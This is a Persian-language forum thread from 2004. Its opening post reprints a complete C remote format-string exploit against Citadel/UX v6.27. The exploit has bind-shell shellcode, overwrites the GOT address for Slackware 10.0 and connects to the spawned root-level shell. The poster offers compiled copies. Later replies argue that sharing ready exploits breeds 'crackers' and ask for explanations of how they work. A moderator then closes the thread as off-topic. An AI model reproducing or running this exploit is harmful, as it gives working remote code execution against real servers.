اكسپلويت جديد

وضعیت
موضوع بسته شده است.
12.12.2004

Citadel/UX v6.27 remote format string exploit

توسط CoKi

Tested in Slackware 10.0

[email protected]


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;

struct {
char *os;
int got;
int ret;
}targets[] =
{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};

int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], temp[BUFFERSIZE];
char opt, *host=NULL, *system=NULL, *p;
int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct hostent *he;
struct sockaddr_in dest_dir;

printf("\n Citadel/UX v6.27 remote format string exploit\n");
printf(" by CoKi <[email protected]>\n\n");

while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
break;
case 'r':
retaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg);
if(targetnum != 0) {
printf(" invalid target number!\n\n");
exit(0);
}
system = targets[targetnum].os;
gotaddr = targets[targetnum].got;
retaddr = targets[targetnum].ret;
break;
case 'l':
printlist();
break;
default:
use(argv[0]);
break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0 || retaddr == 0) use(argv[0]);
if(system == NULL) system = "unknown";

printf("[*] host\t\t\t: %s\n", host);
printf("[*] system\t\t\t: %s\n", system);
printf("[*] syslog GOT address\t\t: %010p\n", gotaddr);
printf("[*] RET address\t\t: %010p\n\n", retaddr);

printf(" [+] verifying host...\t\t");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

printf("OK\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

printf(" [+] conecting...\t\t");
fflush(stdout);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
exit(1);
}

printf("OK\n");

printf(" [+] building evil buffer...\t");
fflush(stdout);

bzero(buffer, sizeof(buffer));
strcat(buffer, "x");

for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(buffer, temp, 4);
gotaddr++;
}

bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

p = buffer;
p += 17;

memset(p, '\x90', 50);

strcat(buffer, shellcode);

sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n",
cn1, cn2, cn3, cn4);

strcat(buffer, temp);
bzero(temp, sizeof(temp));

printf("OK\n");

printf(" [+] sending evil buffer...\t");
fflush(stdout);

recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);

printf("OK\n\n");

printf(" [+] waiting for shell...\n");
fflush(stdout);
sleep(2);

shell(host, SHELL);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -t <arg> type of target system\n");
printf(" -l targets list\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -r <arg> RET address\n\n");
exit(1);
}

void printlist(void) {
printf(" targets\n");
printf(" -------\n\n");
printf(" [0] %s\n\n", targets[0].os);
exit(0);
}

void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE];
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;

printf(" [+] connecting to shell...\t");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
printf(" [-] failed! perhaps the target has down...\n\n");
exit(1);
}

printf("OK\n\n");

printf(" [!] you have a shell :)\n\n");
fflush(stdout);

send(sockfd, "uname -a; id;\n", 14, 0);

while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}



كامپايل كردمش براتون اگر خواستيد بگيد

منتظر جديدترين اكسپلويت ها باشيد .

احسان
 

pt_tomcat

Member
بالا خره بايد به مدير سايت و عقيدش احترام گذاشت
هر چي باشه كلي كار كرده تا اين سايت پا گرفته
حالا سياست هاش اينجوريه كه
گذاشتن اكسپلويت باعث تبديل شدن اين انجمن
به پاتق يكسري كركر احمق ميشه
 

4shir

Member
سلام اولا من هم با مخالف گزاشتن اكسپو ليتها اينجا هستم اون هم اين نوع اكسپوليتها كه هيچ كاربردي نداره و توي ايران اصلا به درد نميخوره سوم خود من هر باگي كه بدنم بچه ها باهاش كار ميكنن(مننظروم برنامه يا پورتالي كه باگ براش اومده) رو گوشه هاي از باگ رو به همراه نحوه پتچ كردن سيستمهاشون ميزارم نه اينكه فقط باگ رو بزارم قرار باشه هر چيزي كه توي ليست سكيوريتي فكوس يا هر سايت ديگه اي كه مياد بريد بزاريد اينجا كه نميشه اقا مجيد هم سايتش نه سايت امنيتي هست نه ادعاي هكريشون ميشه و نه هيچ چيز ديگه اي و تا جاي كه يادم مياد اينجا رو بخاطر كاراي گرافيكيشون ميشناسن همه من خودم توي سايتم اخرين باگها رو اخرين ويروسها رو با نخوه پتچ كردن و... دارم ولي فقط توي سات خودم چون توي جاهاي ديگه به درد كسي نميخوره ولي اين حرف يعني چي؟
به پاتق يكسري كركر احمق ميشه
دستتون درد نكنه ديگه
 

pt_tomcat

Member
دوست عزيز سوءتفاهم نشه!!
من قصد بدي نداشتم
ببیند دوستان
ما باید دنبال باگ ها جدید باشیم
باید اکسپلویت جدید داشته باشیم
ولی به شرط اینکه از اون چیزی یاد بگیریم
و سیستمامون امن تر کنیم
حتی یاد بگیرم چه طوری اکسپلویت بنویسیم
ولي متاسفانه مرز بين دنيا هك و كرك در حال از بين رفتنه
خود شما اقای 4شیر
بيا يه امار از سايتت بگير ببين چند نفر از كاربربت تنها
كاري كه مي كنن اينكه دنبال يه اكسپلويت جديد مي گردن تا به قول خودشون هك كنند
ادم هايي مثل migo(مشكلي كه براي دوستمون
north_hacker پیش اورد) چند در صد از کار براتو
تشکیل میدن
جالب اینه که بدونید اینها حتی عرضه پیدا کردن اکسپلویت در سایت هایی مثل سکیوریتی فکوس و...
را هم ندارند
من سایتی سراغ ندارم که توش اکسپلویت باشه
بعد یکی نپرسه چه جوری کامپایلش کنم
این سوال خیلی چیزا رو میگه!!
در ضمن جای اکسپلویت در سایت ها امنیتی بزرگه
و د این سایت فقط باید باگ جدید اعلام بشه
من از آقای پیمان خواهش میکنم
تا اجازه بدند این بحث ادامه پیدا کنه
تا یکسری سوء تفاهم ها حل بشه
تا مجید آنلاین باز هم قدمی پیشرفت بکنه!
با تشکر ارش
 

4shir

Member
سلام سو تفاهم نيست من هم ميدونم چي گقتم و خرف شما رو هم قبول دارم كاملا هم باهاتون موافق هستم اگر شما توي همين بحث محمد رو ببينيد متوجه جوابهاي كه من دادم ميشيد من هم ميدونم كاربراي ما همه فقط اكسپوليت رو يك لينك ميدونن بخدا اينو جدي ميگم من توي سات خودم سعي كردم اين رو كامل توضيح بدم كه اكسپوليت چي هست انواعش رو نحوه كامپايل كردنش :wink: با اينكه خيلي ها نميدونن بارها اينو گفتم طرف يك لينك اكسپوليت توي سايت ميبينه ميره سايت ناكه رو ميزنه زيرش مينويسه اصغر سكيوريتي تيم :idea: :oops: 8O بگو اخه تو رو چي به سكيوريتي خود من هم يكي ديگشون هستم كه يكم حالا اطلاعاتم بيشتره ولي در كل هيچي نميدونم :oops: اين بحث هم قبول دارم باز بشه ولي مطمعن هستم نتيجه اي در كل نميگيريم ازش چون من خيلي جاها تين بحث رو راه انداختم
 

ALIHACKER

Member
خوب بايد مدير سايت يك فكر ي هم واسه ماهاي ديوونه كه عشقمون اين كاراست بكنه اخه ماه م ادميم
 
آقايون من ميتونم بپرسم بحث سر چيه ؟ آقا با شه شما اشنا نشيد اقا نشيد . ندونيد تا باز هم رده كشورتون تو امنيت بره پايين تر . بله چيزي نيست 367 دنيا و اره بگذاريد هر جوجه هكر ژاپني يا هر جايي كه پيدا ميشه تازه ميخواد خك ياد بگيره بياد رو سرور هاي ما ايراني ها كار كنه . آره بگدار بياد سايت صدا و سيما ما رو هك كنه بابا تو رو حپا جمعش كنيد اين لحس ها رو بابا سعي كنيد چيزي ياد بگيريد بابا شما ميدونيد كه يك باگ بسيار زيبا رو يك ايراني به موش كوچك تو هسيتيگ كنترلر پيدا كرده ؟ بابا مجيد جان هم اينجا رو گداشته كه سطح اطلاعاتي همه رو ببره بالا / در ضمن شما صبر ميكرديد ميديد من پچ اين رو هم ميگدارم يا نه ؟ در ضمن اون اقايي كه فرمودند كه اينها تو ايران به درد نميخوره !!!!! ميتونم بپرسم كه چه فرقي داره كه كدوم كشور باشي براي اكسپلويت ؟ اين رو هم اگه بشه براي من معلوم كنيد ممنون ميشم
 

pt_tomcat

Member
سلام
اولا بحث سر گذاشتن پچ يا نگذاشتن اون نيست
بحث اصلي سر گذاشتن اكسپلويت هستش
حالا گذاشتن اين اكسپلويت چه مشكلي حل ميكنه!!
به عقيده من شما با اين روش فقط ميتونيد كركر تربيت كنيد نه هكر
بر فرض من با اين اكسپلويت ها اومدم سايت هك كردم
اخرش كه چي!!فقط يه فايده داره كه زنگ خطري براي
مدير امنيتي اون سايت ميشم
شما اگر مي خواهيد سطح اينجارو بالا ببريد بيا
همين اكسپلويت شروع كن خط به خط اونو توضيح بده
بحث به خاطر اينه كه اون كركر خيلي با پشتكار باشه 2 سال ديگه دست از اين كاراش بر ميداره
چون ميبينه كه چيزي بلد نيست و اون احساس غرور
حاصل از هك يك سايت را هم ديگه نداره
متاسفانه ما ايراني ها ياد گرفتيم فقط مصرف كننده باشيم
و اين در دنيا هك هم در حال اجرا هستش
چرا هميشه كركر هاي كه ادعا هك ميكنند سعي نميكنند يه تورجان ببنويسند!!
اون هكر ژاپني هم اگر اكسپلويت خودش نوشته كه
جاي افرين گفتن داره
و جاي تاسف خوردن براي اون مدير امنيتي كه نيامده سايتشو امن كنه!!
خلاصه كلام
ما به اكسپلويت احتياج نداريم ما به روش نوشتن اون
و توضيح دقيق كار كردن اون و همچنين شرح كامل باگ نياز داريم
 

4shir

Member
بابا اين چه حرفهاي بي خودي هست ميگيد؟ اولا من اون آقاي كه ميگم اكسپوليت توي ايران به درد نميخوره نيستم بلكه ساسان هستم يا 4shirيا اسم سابق من كه خيلي ها منو با اين ايديم ميشناسنleroy دوم اگر تو فقط اين اكسپوليت رو براي كامپايلش ميبيني من و دوستام سوكت داريم مينويسيم پس نميخواد به من بگيد كه داشتن اكسپوليت توي ايران با جاهاي ديگه فرق ميكنه يا نه
منظور من اين بود كه شما يك سيستم به من نشون بديد توي ايران كه از Citadel/UX v6.27 استفاده كنه يا خيلي باگهاي ديگه مثلا همين pngphpp چند تا سايت ازش استفاده ميكنن؟ تازه كي توي اين سايت ميتونه اكسپوليت كامپايل كنه؟ قبلا هم گفتم اينجا سايت امنيتي يا اموزش هك نيست اين اكسپوليت هم باgccكامپايل ميشه در ضمن بهتر نبود ميموندي بحث رو كامل ميكردي؟
 
چه بحثي ٬ بحثي كه آخرش دعواست ؟ در ضمن لطف كن يك سر به جي زون بزن بعد بگو من اكسپلويت مينويسم . خواهشا به دل نگير
 
ALIHACKER گفت:
[iranhackers.net گفت:
]چشم من ديگه اصلا پست نميدم كاري كه تقريبا 2 سال ميكنم . ببخشيد . باي
خوش اومدي :cry: :cry: :cry: :cry: :cry:


مرسي دوست عزيز من 2 سالي هست ميام مجيد آنلاين :oops: از زماني كه وبلاگ بود تا الان خدمت آقا مجيد عرض ادب داريم

در مورد بحث هم من كه كوچيك همتون هستم اگر هم بحثي باشه من در خدمتم
 

Peyman-Pop

Active Member
دوستان عزیز حالا متوجه شدید برای چی‌ میگیم چنین بحث هایی‌ در این سایت گرافیکی‌ و هنری نباشه بهتره ! ;-)

چون این مسائل محل و علم خودش رو میطلبه و وقتی‌ در یک سایت آموزشی‌ که کاملا به دور از چنین مباحثی‌ هست کشیده می‌شه چیزی جز اختلاف و صدمه زدن به خود کاربران و محتوای سایت نداره.

پس ممنون میشم همونطوری که در قوانین انجمن گفتیم این موارد رو رعایت کنید ;-)

ممنونم



پیمان
 
وضعیت
موضوع بسته شده است.

جدیدترین ارسال ها

بالا